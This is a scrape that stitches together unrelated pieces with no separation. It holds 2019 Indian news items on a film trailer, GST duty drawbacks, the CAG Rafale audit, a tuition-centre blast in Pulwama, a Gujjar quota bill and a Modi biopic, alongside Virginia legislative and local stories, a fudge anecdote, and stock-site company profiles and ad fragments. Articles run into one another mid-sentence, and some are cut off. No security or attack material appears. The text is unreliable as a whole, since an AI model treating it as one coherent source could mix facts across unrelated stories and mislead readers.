B-Town celebs like Farhan Akhtar, Sonam K Ahuja, Bhumi Pednekar, Divya Dutta and Virendra Sehwag gave big thumbs up to the trailer on social media expressing their views about the same.

The trailer showcases an endearing story of a mother-son relationship, an inspirational story of an eight-year-old boy who writes a letter to the prime minister of the nation regarding the problems surrounding the topic of open defecation in the area he resides. The trailer of the movie has struck chords with the audience owing to its hard-hitting storyline.

B town celebs too have hailed the trailer:

Farhan Akhtar tweeted, "All the best @RakeyshOmMehra

.. Looks like a film with its heart in the right place. Big hug. #MerePyarePM"

All the best @RakeyshOmMehra .. looks like a film with its heart in the right place. Big hug. #MerePyarePM https://t.co/iSuKQrp8Cs https://t.co/6elxBt4wz4  Farhan Akhtar (@FarOutAkhtar) February 10, 2019

Sonam K Ahuja shares on her social media, "Agar aapki Maa ke saath aisa hota toh aapko kaisa lagta? #MerePyarePMTrailer out now!"

Bhumi Pednekar shares on her social media, "All the best sire! This film looks all heart and has your stamp of brilliance in every frame. Look forward to watching it.."

Virendra Sehwag shares on his social media, "Mere Pyare Prime Minister , a wonderful offering from sabke pyaare @RakeyshOmMehra . Enjoy the trailer aur First Day First Show pakka"

Mere Pyare Prime Minister , a wonderful offering from sabke pyaare @RakeyshOmMehra . Enjoy the trailer aur First Day First Show pakkahttps://t.co/cUpTqar8Ui  Virender Sehwag (@virendersehwag) February 11, 2019

Divya Dutta tweeted, "All the best sire! This film looks all heart and has your stamp of brilliance in every frame. Look forward to watching it.."

All the best sire! This film looks all heart and has your stamp of brilliance in every frame. Look forward to watching it.. https://t.co/g3n1fEhDbx  Divya Dutta (@divyadutta25) February 10, 2019

With this movie, the director has shown the real-life problem faced by people who stay in the slum area. The makers of the movie decided to launch the trailer on Vasant Machmi as it marks the beginning of the Holi season and is cited to be the harbinger of spring, is celebrated all over the country.

The music of the film is given by Shankar Ehsan Loy and lyrics by Gulzar. It promises to strike a chord within the people. A song dedicated to welcoming the festival of colours Holi will be featured in the movie, with colours and laughter galore.

Presented by Dr. Jayantilal Gada (pen), Rakeysh Omprakash Mehra and P.S.Bharathi, starring Anjali Patil, Om Kanojiya, Makarand Deshpande, Rasika Agashe, Sonia Albizuri, Nachiket Purnapatre & Atul Kulkarni, the movie releases on 15th March 2019.Under GST regime, exporters have been allowed remission on basic customs duty but other duties and imposts are not covered.

New Delhi: The Goods and Services Tax (GST) Council headed by Finance Minister Piyush Goyal will shortly put together duty drawback measures for exporters to allow remission of countervailing duties and state levies.

The council, expected to meet next Friday or Saturday, will provide a foolproof duty drawback mechanism on par with the regime available before GST became operative, on July 1, 2017.

The Directorate General of Foreign Trade (DGFT) last week flagged liquidity woes faced by exporters with the finance ministry. The DGFT also pointed to the urgency, citing trade related issues with the US and competitive emerging market conditions, of remedial measures.

Under the new GST regime, exporters have been allowed remission on the basic customs duty but other duties and imposts are yet to be covered.

As part of an exercise to put together the new Foreign Trade Policy (FTP), Commerce and Industry Minister Suresh Prabhu, DGFT Director General Alok Chaturvedi and top Commerce Ministry officials had met exporters last week.

While the new FTP is in the works, the DGFT urged the Finance Ministry officials not to wait for the new policy rollout to extend remission on all duties hitherto uncovered under GST.

The new duty drawback mechanism that would be pushed for before the GST Council will effectively resolve the working capital issues for exporters faced in the last ten months said a top Commerce Ministry official, who did not wish to be identified.

In the interim budget presented by Goyal, customs duty collections up for the next fiscal have been estimated at `1.45 lakh crore. Revised estimates have put the customs collections at `1.30 lakh crore in 2018-19 as against the initial estimates of `1.15 lakh crore.

Out of the total customs collections, a whopping 30 per cent could be owing to countervailing duties and multiple cess levied to compensate states.

Further, over a dozen duties and taxes levied by states got subsumed under the GST regime while exporters were not compensated.

The GST Council will also finalise the innovative e-wallet scheme for exporters that was in the making for sometime. When it becomes operative, liquid funds of exporters will not get blocked.

Under e-wallet, the DGFT will credit notional or virtual currency into accounts against payment of GST, IGST and various levies paid under the single impost regime.

E-wallet announced in April 2018 missed the October 1 deadline pending clearance by the Finance Ministry and the GST Council. The councils meeting will be the last before the general elections are notified and the election code kicks in.the government is keen to bring SC/ST entrepreneurs at par with their counterparts in the industry, dedicating financial schemes exclusively for them. (Photo: Twitter)

New Delhi: Union minister Giriraj Singh on Tuesday urged banks to set their priorities in line with the policies and financial guarantees of the government and provide loans to youth and small entrepreneurs.

Addressing a conference here, the Micro Small and Medium Enterprises (MSME) Minister stressed on the need for financial inclusion of small entrepreneurs, without whom the country cannot develop.

While appreciating the banking sectors concerns about the Non-Performing Assets and bad debts, he pointed out that where there is need based financing from the banks the recoveries have been more than 99 per cent.

The MSME minister said the government is keen to bring SC/ST entrepreneurs at par with their counterparts in the industry, dedicating financial schemes exclusively for them.

Talking about the 12 initiatives of the government for the MSME sector last year, Singh urged MSMEs to take full advantage of the 59 Minute Loan Sanction portal.

He said the resources are limited but the government during the last four years has done a lot for the development of MSME sector. PTI Secretary MSME Arun Kumar Panda, said timely availability of low cost capital, technology upgradation to make MSMEs competitive, market accessibility and skilled man-power are the core components for the development of the MSME sector.2 Hizbul Mujahideen militants killed in firefight in Budgam district.

SRINAGAR: More than two dozen students were injured in a mysterious blast at a tuition centre in Narbal, Kakapora area of Jammu and Kashmirs southern district of Pulwama.

The police said that at around 2.30 pm some explosion took place inside the class room of 10th standard at a private school known as Falah-e-Millat Institute at Narbal being used a tuition centre during the winter vacations. It, however, said that only 12 students sustained injuries in the impact of the blast. They were rushed to the hospital and are stated to be stable, the police added.

It added that a police team, including forensic experts which has taken up the investigations, is ascertaining the nature and circumstances of the blast.

The medical officer of the government public health centre at Kakapora said the 14 students with splinter injuries were brought there for treatment. Three of them were referred to a Srinagar hospital and an equal number of others to the district hospital in Pulwama for specialised treatment, he added. Reports said that 14 more injured students were treated at sub-district hospital in the highway town of Pampore and at other medical facilities in the district.

Governor, Satya Pal Malik deeply regretted the unfortunate incident and prayed for speedy recovery of the injured. He also announced an ex-gratia amount of Rs 50,000 for each victim.

Earlier during the day, two Hizbul Mujahideen militants were killed in a firefight with the security forces in Gopal Pora area of Chadoora tehsil of central district of Budgam.

The police identified the slain men as Hilal Ahmad Wani and Shoaib Muhammad Lone alias Mursi of the Hizb.Thank you for reading!

Please purchase a subscription to read our premium content. If you have a subscription and are still unable to access our content, please link your digital account to your print subscription If you have a subscription, please log in or sign up for an account on our website to continue.This saved 17 per cent in the India-specific enhancement cost of the Rafale jets.

Without disclosing the pricing details in absolute terms, the CAG found overall that the price of seven items were higher than the UPA one, three were the same and four were lower. (Representational image)

New Delhi: The Comptroller and Auditor-General said Wednesday in a much-anticipated report that the $8.7 billion deal signed by Narendra Modi government with France to buy 36 Rafale fighter jets from Dassault Aviation was 2.86 per cent cheaper than what had been negotiated by the previous UPA government in 2007. However, it outlined various measures which would have made the deal even further cheaper.

The CAG report on Capital Acquisition in the Indian Air Force tabled in Parliament said that most of these savings were only because the Indian Air Force changed the missile system in 2015 from what it wanted in 2007. This saved 17 per cent in the India-specific enhancement cost of the Rafale jets. However, there was scope to save even more under the India-specific enhancements (to make the fighters compatible with special requirements of the Indian Air Force) because the Indian negotiation team had proposed to postpone six enhancements for future aircraft, which were shot down by the defence ministry. The CAG said four of these enhancements were not required in the technical and staff evaluations and constituted 14 per cent of the India-specific enhancement cost. Also, the weapons package offered in the new deal was 1.05 per cent cheaper.

Without disclosing the pricing details in absolute terms, the CAG found overall that the price of seven items were higher than the UPA one, three were the same and four were lower.

The price of the basic aircraft was the same during the NDA and UPA eras, the CAG said. It did not agree with the defence ministrys argument that the basic aircraft cost was nine per cent cheaper than the price offered for the aircraft in 2007.

The areas where the price overshot than that negotiated under the UPA was the engineering support package and the performance-based logistics for the IAF, where the price was higher by 6.54 per cent. The training costs also shot up by 2.68 per cent over the 2007 offer.

The CAG found removal of financial and performance guarantees in the 2015 agreements resulted in savings to Dassault, which should have been passed on to the Indian government. In the 2007 offer, Dassault provided financial and performance guarantees, the cost of which was embedded in the offer price, the CAG said. But these were removed in the agreement signed by the NDA because it was a government-to-government deal.

The CAG underlined that the NDA government agreed with the refusal of the French side to provide a sovereign guarantee and instead accepted a Letter of Comfort. The French also did not agree to the Indian governments request for opening of an escrow account to manage payments to Dassault as a safeguard measure.

The CAG said the only concession which the Indian government got was that the advance payments were to be made directly to the bank accounts of Dassault that were opened in a French government-controlled bank, over which the French party was to exercise control and monitoring for effective implementation of the inter-government agreement and the supply protocols. In case of any breach of agreement, the Indian government would have to first settle it through arbitration directly with Dassault. If the arbitration award were in favour of the Indian party and Dassault failed to honour the award, the Indian party should exhaust all available legal remedies. Only then would the French government make these payments on behalf of Dassault, said the CAG. The

report was, however, silent on the issue of offset partners, a key point on which the Congress has been attacking the Narendra Modi-led government, and has been alleging corruption over Anil Ambanis Reliance Group getting one of the offset contracts.

The CAG said the unsolicited proposal of a 20 per cent discount by aerospace major EADS on the Eurofighter Typhoon jet, a competitor of Dassault Aviation, had some factual inaccuracies.The report by The Hindu newspaper on Rafale deal cites a dissent note signed by 3 domain experts on Indian Negotiating Team.

However, Reliance, Dassault and the government have denied the allegations. (Photo: AP)

New Delhi: The controversy over the Rafale deal has been hinged on two main claims: the new deal signed by the Prime Minister Narendra Modis government was better than the congress-era one and that it would get fighter jets faster.

According to latest report in The Hindu newspaper on Wednesday claims that at least three senior Defence Ministry officials among the seven-member Indian Negotiating Team strongly disagreed with the stand.

It is the latest in a series of stories published by the newspaper, arming the opposition, led by Rahul Gandhi and Congress, with new attack against the ruling government.

On Monday, The Hindu reported how condition for anti-corruption penalties were dropped days before the deal was signed. Before that, it reported on Defence ministrys objections to parallel negotiations conducted by the Prime Minister Office.

This new claims cite the dissent note signed off by three domain experts on the Indian team- MP Singh, Adviser (Cost), a Joint Secretary-level officer from the Indian Cost Accounts Service; AR Sule, Financial Manager (Air); and Rajeev Verma, Joint Secretary and Acquisitions Manager (Air).

The eight-page note was written more than a month after the team's negotiations with the French side were completed and three months before the inter-governmental agreement was signed, on September 23, 2016.

"They also concluded that the delivery schedule of even the first 18 of the 36 flyaway Rafale aircraft in the new deal was slower than the one offered for the 18 flyaway aircraft in the original procurement process," The Hindu said.

Congress chief Rahul Gandhi highlighted new report, saying that it had demolished the governments arguments, conveyed both to the Parliament and the Supreme Court.

The PM defended his personal RAFALE bypass deal on 2 counts :



1. Better Price

2. Faster Delivery



Both have been demolished by the revelations in the Hindu today.



Watch my LIVE Press Conference on the #RafaleScam at 3.30 PM today. https://t.co/IzyCaHeyIM  Rahul Gandhi (@RahulGandhi) February 13, 2019

Gandhi also accused the government of signing an overpriced deal for 36 Rafale fighter jets at an increased price to benefit Anil Ambani, who was recommended as an offset partner for Dassault, the manufacturing company of the aircraft.

However, Reliance, Dassault and the government have denied the allegations.Some 137 aircraft, including 81 fighter jets, are going to take part in the exercise to showcase the Indian Air Forces strength.

New Delhi: Indian Air Force will demonstrate its lethal capability to the world on Saturday at the Vayu Shakti-2019 to be held in the Pokhran field firing range of Jaisalmer.

Some 137 aircraft, including 81 fighter jets, are going to take part in the exercise to showcase the Indian Air Forces strength. Vayu Shakti is held once in three years. MiG, Jaguar, Su 30, Hawk, Tejas and Mirage 2000 are among other jets which will participate in the exercise.

Vayu Shakti, which is a fire power demo, is basically display of what can be done to identified targets whether on the ground or in the air. So what you see is a mix of lethality and precision, said IAFs Vice-Chief Air Marshal Anil Khosla on Tuesday.

He said that a variety of weapons will be used during the demo-nstration, including guns, rockets of different calibre, bombs, smart weapons, surface-to-air-guided weapons and air-to-air weapons.

The demonstration will be carried out during day, dusk and night to showcase the capability of IAF to operate 24x7. For the first time Vayu Shakti-2019 will showcase upgraded MiG 29 in air-to-ground role and Akash firing.

It will showcase IAFs ability to detect targets, swiftly identify them and neutralise the targets with precision. Some eight bases will participate in the exercise including Jaisalmer, Jodhpur, Bathinda and Hindan.

The first fire power demonstration was held in 1953 at Tilpat range in New Delhi.Gujjar Reservation bill promises 5 per cent quota to the Gujjar community and other nomadic tribes.

The protestors had blocked the Delhi-Mumbai railway track and several highways and roads. (Photo: ANI)

Jaipur: The Rajasthan assembly on Wednesday unanimously passed the Gujjar Reservation bill that promises 5 per cent quota to the Gujjar community and other nomadic tribes.

The Rajasthan Backward Classes (Reservation of Seats in Educational Institutes in the State and of Appointments and Posts in Services under the State) Amendment Bill, 2019, will give reservation to Gujjars and the other castes.

The bill was presented by Energy Minister B D Kalla in the Assembly to pacify members of Gujjar community who have been holding demonstrations since Friday across the state for quota.

The protestors had blocked the Delhi-Mumbai railway track and several highways and roads.

The bill seeks to increase the backward classes reservation from the present 21 per cent to 26 per cent with five per cent reservation to Gujjars, Banjaras, Gadia Lohars, Raikas and Gadaria.

While addressing the assembly, Deputy Chief Minister Sachin Pilot gave the example of Centre giving 10 per cent reservation to the poor in the general category.Even though the film is about our honorable Prime Minister Narendra Modi, characters around him also play very crucial roles.

Mumbai: PM Narendra Modi is one of the most anticipated biopics of the year. Even though the film is about our honorable Prime Minister Narendra Modi, the characters around him also play very crucial roles. Among all the other characters, one most influential character is of Amit Shah who shares a special bond with the PM Narendra Modi. It is confirmed that actor Manoj Joshi will be playing the role of Amit Shah in the film.

He is one of the most versatile actors and has garnered a lot of appreciation for his work. The veteran actor has done a lot of research about the character. It will be interesting to see how he will approach this character.

Well-known theatre and film actor Manoj Joshi to portray #AmitShah in #PMNarendraModi... Vivek Anand Oberoi essays the title role... Omung Kumar B directs the biopic... Produced by Suresh Oberoi and Sandip Ssingh... Here's the first look: pic.twitter.com/9M3n78q4XG  taran adarsh (@taran_adarsh) February 13, 2019

Sharing his experience Manoj Joshi said, "I think this a great opportunity for me as an actor to play the role of Amit Shah. When Sandip Ssingh called me for the role I immediately said yes. This is one of the most important roles in the film and I will give my best to it."

Producer Sandip Ssingh shares, "This was one of the important roles in the film and nobody better than Manoj Joshi could have done it. He is one of the most talented and hardworking actors. It is a great experience working with him."

Critically acclaimed actors like Boman Irani, Suresh Oberoi, Manoj Joshi, Zarina Wahab, Darshan Kumar, Barkha Bisht and many more have also been roped in for the film.

The makers unveiled the first look and poster of the film in January in 23 languages making a splash on the internet. 'PM Narendra Modi the biopic will traverse the journey of Narendra Damodardas Modi from his humble beginnings to his years as Chief Minister onto his landmark win at the 2014 election and finally being nominated as the Prime Minister of India.

Produced by Sandip Ssingh and Suresh Oberoi. Directed by biopic maestro Omung Kumar, this much-anticipated biopic comprising an ensemble cast has versatile actor Vivekanand Oberoi in and as PM Narendra Modi.Mr. Browning, she snapped sternly as she approached Waynes desk. Oh, man. This chum was surely chum. She picked up the red note which was a perfect match for the sudden flush in Waynes face. Is this something you would like to share with the entire class?

Why do teachers always ask that? Of course it wasnt. If it had been something Wayne wanted to share with the entire class, wouldnt he have added it to the morning announcements over the intercom or maybe convened the entire student body in the auditorium and proclaimed his undying love for Carol from the middle of the stage?

Those famous I-love-you-do-you-love-me notes we all passed in class so many years ago were something we wanted only one person to see. They were something we wanted delivered and returned to us with a big check in the YES box.

Unfortunately, the love police lead by officers like Miss Bliley and Mrs. Caulfield too often confiscated our passionate notes and shared them with the entire class which ultimately lead to the total humiliation of the sender and the complete disregard of the sender by the intended recipient.Nancy Alexander remembers the night she and a friend drove to a waffle shop off Interstate 81 to meet a bus coming up from Georgia. By the time the bus pulled in, it was midnight and Alexander could hardly wait to meet two of its occupants. The whole bus was rocking with these dogs, she recalled. The driver had collected unwanted shelter dogs on the brink of being euthanized and was heading north to deposit them in shelters with a no kill policy. Alexander had seen a social media post alerting her to the rescue mission and wanted to help out. Off the bus and into Alexanders waiting arms came two 6-week-old puppies, Jackson and his sister, Maggie. Ten years later, the siblings are among the senior members of her cohesive canine gang. The owner of Specialty Housekeeping Inc. currently has 11 rescue pooches, including a little mixed breed hit by a car and badly injured. The Orange County Animal Shelter and the Orange County Humane Society took care of Yippies extensive medical needs, and Alexander took care of the rest. You see him run around and be the happiest little spirit you ever sawits just a miracle to me, she said of the dog she has loved ever since she adopted him four years ago. Pictured here, Alexander offers treats to her rescue dogs at her home in Orange.Mr. Bells bill would make it a Class 4 felony to cause serious bodily harm to another while driving under the influence. Permanent harm would no longer be the dividing line between felony and misdemeanor.

That makes sense, in more ways than one. A victims ability to rebound from serious injuries has much to do with the skill of her doctors and her own resiliency and determination. The severity of the injury thus cannot be measured solely by the victims level of recovery.

Indeed, in perverse fashion, its as if the drunken driver is benefitted by his victims toughness and ability to heal. If she fights back to health  no matter the degree of suffering and trauma she first must endure  the driver is relieved of full accountability.

Mr. Bell says his bill has received wide support in the legislature. It passed the House 94-3, and unanimously passed the Senates Courts of Justice Committee. It then was sent to the Senate Finance Committee, where it might hit a snag.

Class 4 felonies carry penalties of a term of imprisonment of not less than two years nor more than 10 years and  a fine of not more than $100,000, according to the Virginia State Code.Student loan servicers in Virginia will still not be licensed after a House of Delegates committee killed a bill Tuesday to regulate the companies.

Senate Bill 1112 from Sen. Janet Howell, D-Fairfax, would have required companies that service student loans, such as Navient and Nelnet, to be licensed by the State Corporation Commission. The bill cleared the Senate unanimously but died in a 10-9 vote in the House Commerce and Labor Committee.

Students are issued loans from the federal government, and the servicing companies oversee the repayment of those loans.

They are totally at the whim and the will of the student loan servicer, Howell said.

More than 90 percent of all current student debt is owed to the federal government, according to the U.S. Department of Education.

The bill outlined the role of the servicers while prohibiting them from misapplying loan payments or misrepresenting the amounts that borrowers owe, among other things. Other servicers, such as mortgage lenders, must meet similar standards.Two of the accused  Julian B. Goodman and Dennis P. Murphy  were priests at Holy Comforter Church in Charlottesville in the early 2000s before they were removed, according to news reports. Goodman was forced to resign in 2002 and had worked at Holy Comforter for three years, according to a Virginian-Pilot story from that time.

Goodman admitted to sexually abusing a student at a boys high school in Goochland in the 1970s, according to the story. He was not accused of any misconduct while in Charlottesville.

Goodman was replaced by Murphy. In 2004, Murphy was placed on administrative leave after complaints about questionable behavior with teenagers, according to a 2004 Richmond Times-Dispatch story. Murphy currently is suspended, according to the list.

The Richmond list comes five months after Knestout announced that he would make the names of the credibly accused priests public and after an atonement tour, during which he held penitential Masses at nine churches throughout the diocese in an effort to apologize for the widespread abuse and cover-up.Were having people drive without licenses and driving without insurance, and that poses a risk to our citizens, said Stanley, a criminal-defense lawyer.

Stanley said those people then rack up more fines and more debt, and they become buried in court fines that are difficult to pay off.

As Republicans across the country gradually start embracing criminal justice reform, Stanley was hoping this bill even could get support from the more law-and-order lawmakers.

The Senate passed the bill with bipartisan support on a 36-4 vote. Gov. Ralph Northam vocalized support for ending the practice during his State of the Commonwealth address last month.

Bell said Tuesday that he voted against the bill because he believes some punishment is required for those who break the law and that some traffic offenses are particularly dangerous, such as passing a school bus.

I respectfully disagree and think there are better approaches, he said. We still think there should be some punishment for breaking the law, particularly when it can cause harm to others.ThriVe will replace the sign that was defaced, beside the centers front door. And come fall, new and more colorful signage will be installed to coordinate with the rebranding campaign.

Once all the elements of the new brand are rolled out, the ThriVe color scheme, signage, messaging and interior furnishings will make the centers more recognizable to the public, much as the signage, logos and colors of Starbucks or Target do.

People have to be comfortable with your brand, Carter said. They need to know what we are. Weve been here for 35 years, and people still do not know who we are and what we do.

A philosophical stance

Dimeo, who has directed the Culpeper center since it opened, is taking the vandalism in stride.

That morning, when I drove over and first saw it, I thought, Oh man, this is sad, Dimeo recalled in an interview Thursday. I felt sad for all the parents dropping their kids off at an elementary school across the street, seeing this. I was not angry, I was not upset. I just felt sad for the person who did it because, obviously, there is some kind of pain in their life.Years ago, when I had a business with a number of employees, one of the ladies always brought several trays of homemade candies to work on Valentines Day. Everyone hoped that she would include her famous fudge in the selection of goodies. Ill pass on the divinity and other bland-looking sweets; just give me the fudge.

Although America has never been famous for its confections, several, such as fudge, have established their role in the sweet world. And what would Valentines Day be without a batch of homemade fudge?

As so many things, including foods, were invented by accident, fudge is no exception. It came into being in America in 1886, probably on Valentines Day. As the story goes, a Baltimore confectioner and chocolate maker fudged a batch of French caramels, which did not turn out to his satisfaction.

Adding chocolate to the caramel mixture he was working on, he created a new confection. After the candy mass hardened, he cut the mass into attractive pieces and sold them for 40 cents a pound. This was still very expensive in those days.All over Hampton Roads, Surf Rider is renowned for its crab cakes, made with so little binder they cant be fried. The local chains lump-filled cakes bested the competition in two consecutive Virginian-Pilot taste tests, not to mention a recent blind-judged crab cake throwdown. But this year, said its third-generation co-owner, Chris Bennett, he almost had to take them off the menu. The ...AmerisourceBergen Corporation sources and distributes pharmaceutical products in the United States and internationally. Its Pharmaceutical Distribution segment distributes brand-name and generic pharmaceuticals, over-the-counter healthcare products, home healthcare supplies and equipment, outsourced compounded sterile preparations, and related services to various healthcare providers, including acute care hospitals and health systems, independent and chain retail pharmacies, mail order pharmacies, medical clinics, long-term care and other alternate site pharmacies, and other customers. It also provides pharmacy management, staffing, and other consulting services; supply management software to retail and institutional healthcare providers; and packaging solutions to various institutional and retail healthcare providers. In addition, this segment distributes plasma and other blood products, injectable pharmaceuticals, vaccines, and other specialty products; provides other services primarily to physicians who specialize in various disease states, primarily oncology, as well as to other healthcare providers, including hospitals and dialysis clinics; and offers data analytics, outcomes research, and additional services for biotechnology and pharmaceutical manufacturers. The company's Other segment provides integrated manufacturer services, such as clinical trial support, product post-approval, and commercialization support; offers specialty transportation and logistics services for the biopharmaceutical industry; and sells pharmaceuticals, vaccines, parasiticides, diagnostics, micro feed ingredients, and various other products to customers in both the companion animal and production animal markets, as well as provides demand-creating sales force services to manufacturers. AmerisourceBergen Corporation was founded in 1985 and is headquartered in Chesterbrook, Pennsylvania.

Read MoreMedtronic plc develops, manufactures, distributes, and sells device-based medical therapies to hospitals, physicians, clinicians, and patients worldwide. It operates through four segments: Cardiac and Vascular Group, Minimally Invasive Therapies Group, Restorative Therapies Group, and Diabetes Group. The Cardiac and Vascular Group segment offers implantable cardiac pacemakers, cardioverter defibrillators, and cardiac resynchronization therapy devices; AF ablation products; insertable cardiac monitor systems; mechanical circulatory support; TYRX products; and remote monitoring and patient-centered software. It also provides aortic valves; percutaneous coronary intervention stents, surgical valve replacement and repair products, endovascular stent grafts, percutaneous angioplasty balloons, and products to treat superficial venous diseases in the lower extremities. The Minimally Invasive Therapies Group segment offers surgical products, including surgical stapling devices, vessel sealing instruments, wound closure, electrosurgery products, hernia mechanical devices, mesh implants, and gynecology products; electrosurgical hardware and instruments, and mesh fixation devices; and gastrointestinal, inhalation therapy, and renal care solutions. The Restorative Therapies Group segment offers products for spinal surgeons; neurosurgeons; neurologists; pain management specialists; anesthesiologists; orthopedic surgeons; urologists; colorectal surgeons; urogynecologists; interventional radiologists; ear, nose, and throat specialists; and systems that incorporate energy surgical instruments. It also provides image-guided surgery and intra-operative imaging systems and robotic guidance systems used in robot assisted spine procedures; and therapies for vasculature in and around the brain. The Diabetes Group segment offers insulin pumps and consumables, and continuous glucose monitoring systems. The company was founded in 1949 and is headquartered in Dublin, Ireland.

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View MarketBeat's top stock picks here.General Electric Company operates as a high-tech industrial company worldwide. The company's Power segment offers heavy-duty and aeroderivative gas turbines for utilities, independent power producers, and industrial applications; maintenance, service, and upgrade solutions to plant assets and their operational lifecycle; steam power technology for fossil and nuclear applications, including boilers, generators, steam turbines, and air quality control systems; and advanced reactor technologies solutions comprising reactors, fuels, and support services for boiling water reactors. This segment also applies the science and systems of power conversion to provide motors, generators, automation, and control equipment; and drives for energy intensive industries, such as marine, oil and gas, mining, rail, metals, test systems, and water. Its Renewable Energy segment provides various solutions for its customers through combining onshore and offshore wind, blades, hydro, storage, solar, and grid solutions, as well as hybrid renewables and digital services offerings. The company's Aviation segment designs and produces commercial and military aircraft engines, integrated engine components, electric power, and mechanical aircraft systems; and provides aftermarket services. Its Healthcare segment develops, manufactures, markets, and services magnetic resonance, computed tomography, molecular imaging, x-ray and high-frequency soundwave systems, clinical monitoring and acute care systems, enterprise digital, artificial intelligence applications, consulting and command center, and complementary software and services; and researches, manufactures, and markets imaging agents. The company's Capital segment offers aviation leasing and financing, and working capital services; financial solutions and underwriting capabilities; and insurance and reinsurance for life and health risks, as well as annuity products. The company was founded in 1878 and is headquartered in Boston, Massachusetts.

Read MoreJohnson & Johnson researches and develops, manufactures, and sells a range of products in the health care field worldwide. It operates through three segments: Consumer Health, Pharmaceutical, and Medical Devices. The Consumer Health segment offers baby care products under the JOHNSON'S and AVEENO Baby brands; oral care products under the LISTERINE brand; skin health/beauty products under the AVEENO, CLEAN & CLEAR, DR. CI:LABO, NEUTROGENA, and OGX brands; acetaminophen products under the TYLENOL brand; cold, flu, and allergy products under the SUDAFED brand; allergy products under the BENADRYL and ZYRTEC brands; ibuprofen products under the MOTRIN IB brand; smoking cessation products under the NICORETTE brand; and acid reflux products under the PEPCID brand. This segment also provides women's health products, such as sanitary pads and tampons under the STAYFREE, CAREFREE, and o.b. brands; wound care products comprising adhesive bandages under the BAND-AID brand; and first aid products under the NEOSPORIN brand. The Pharmaceutical segment offers products in various therapeutic areas, including immunology, infectious diseases, neuroscience, oncology, pulmonary hypertension, and cardiovascular and metabolic diseases. The Medical Devices segment provides electrophysiology products to treat cardiovascular diseases and neurovascular care products to treat hemorrhagic and ischemic stroke; orthopaedics products in support of hips, knees, trauma, spine, sports, and other; advanced and general surgery solutions that focus on breast aesthetics, ear, nose, and throat procedures; and disposable contact lenses and ophthalmic products related to cataract and laser refractive surgery under the ACUVUE brand. The company markets its products to general public, and retail outlets and distributors, as well as distributes directly to wholesalers, hospitals, and health care professionals for prescription use. Johnson & Johnson was founded in 1886 and is based in New Brunswick, New Jersey.

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Get Your Battery Boom Report Now!Chevron Corporation, through its subsidiaries, engages in integrated energy, chemicals, and petroleum operations worldwide. The company operates in two segments, Upstream and Downstream. The Upstream segment is involved in the exploration, development, and production of crude oil and natural gas; processing, liquefaction, transportation, and regasification associated with liquefied natural gas; transportation of crude oil through pipelines; and transportation, storage, and marketing of natural gas, as well as operates a gas-to-liquids plant. The Downstream segment engages in refining crude oil into petroleum products; marketing crude oil, refined products, and lubricants; transporting crude oil and refined products through pipeline, marine vessel, motor equipment, and rail car; and manufacturing and marketing commodity petrochemicals, and fuel and lubricant additives, as well as plastics for industrial uses. Chevron Corporation is also involved in the cash management and debt financing activities; insurance operations; real estate activities; and technology businesses. The company was formerly known as ChevronTexaco Corporation and changed its name to Chevron Corporation in 2005. Chevron Corporation was founded in 1879 and is headquartered in San Ramon, California.

Read MoreThe Hartford Financial Services Group, Inc. provides insurance and financial services to individual and business customers in the United States, the United Kingdom, continental Europe, and internationally. Its Commercial Lines segment offers workers' compensation, property, automobile, liability, umbrella, bond, marine, livestock, and reinsurance; and customized insurance products and risk management services, including professional liability, bond, surety, and specialty casualty coverages through regional offices, branches, sales and policyholder service centers, independent retail agents and brokers, wholesale agents, and reinsurance brokers. The company's Personal Lines segment provides automobile, homeowners, and personal umbrella coverages through direct-to-consumer channel and independent agents. Its Property & Casualty Other Operations segment offers coverage for asbestos and environmental exposures. The company's Group Benefits segment provides group life, disability, and other group coverages to members of employer groups, associations, and affinity groups through direct insurance policies; reinsurance to other insurance companies; employer paid and voluntary product coverages; disability underwriting, administration, and claims processing to self-funded employer plans; and a single-company leave management solution. This segment distributes its group insurance products and services through brokers, consultants, third-party administrators, trade associations, and private exchanges. Its Hartford Funds segment offers investment products for retail and retirement accounts; exchange-traded products through broker-dealer organizations, independent financial advisers, defined contribution plans, financial consultants, bank trust groups, and registered investment advisers; and investment management and administrative services, such as product design, implementation, and oversight. The company was founded in 1810 and is headquartered in Hartford, Connecticut.

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And it's not too late to capitalize todayThe protesting members of Ranchi Municipal Corporation (RMC) Workers Association on Wednesday submitted their list of demands to the senior officials and chalked out further strategies. Putting all essential services of the civic body at stake, the members of the Workers Association will go on indefinite strike from February 26.

As per the strategy, the workers will stage three hours long demonstration at the RMC office till February 16. On February 17, a delegation will meet Minister, Department of Urban Development, Housing and Planning - CP Singh and submit their demand lists, said president, RMC Workers Union  Naresh Ram. Over 300 workers of the Municipal Corporation are expected to support the strike.

The major demands of the union includes payment to employees in accordance to seventh pay commission norms, appointment of more numbers of staffs on contractual basis including clearance of arrears.

Increment in the family and regular retirement pensions and providing jobs on compensation grounds are among few other major demands that are included in the list.

According to the union members, the retirement pension of both grade 3 and 4 is comparatively less, which must be increased. The workers union has been putting the demands for last two years but nothing has been done yet by the concerned authorities.

This is for the third time, the association members have called for an indefinite strike. Earlier in 2014 and 2016, both contractual and permanent employees had protested against the autocracy of the Municipal Corporation, demanding intervention of senior authorities.

Also, Ram asserted that the permanent sanitation workers will also join the protest besides the contractual sanitation workers hired to manage, segregate and disperse solid wastes from across the city.

Sanitation workers are also expected to lend support to the protest, bringing the cleanliness work to complete standstill. Their demands too have been pending since long now, he added.Angered over the repeated interruption of the proceedings of the House, resulting in the suspension of the question hour, three BJP legislators from Haridwar district staged a dharna outside the office of the leader of the opposition (LoP), Indira Hridayesh on Wednesday.

The Khanpur MLA Pranav Singh 'Champion', Jhabreda MLA Desh Raj Karnwal and Laksar MLA Sanjay Gupta barged out of the Assembly when the Congress members continued to create din in the Well of the House, demanding discussion on the pending payment of the sugarcane farmers under section 310.

A drama unfolded as the trio staged a sit- in outside the office of Hridayesh.

Talking to the media persons, Champion said that the Congress was enacting a drama both inside the House and also outside while raising the issue of the sugarcane farmers. I have put up a short notice question on the plight of the sugarcane farmers and the Speaker has listed it for discussion, he said.

He further said that a similar question had also been listed by Deshraj Karnwal. However, the Congress members are out not to allow the House to function. I appealed to the Congress leaders to let the discussions happen on the important issue of the sugarcane farmers. But they refused, he said.

Echoing the same sentiment, Laksar MLA Sanjay Gupta said that had the issue been allowed to be discussed in the House some positive decisions might have emanated from them.

While lashing out at the former chief minister Harish Rawat, he said that when he had been the CM he had ignored the sugarcane farmers. Now, voted of power, he is flaunting his empathy for them, he said.

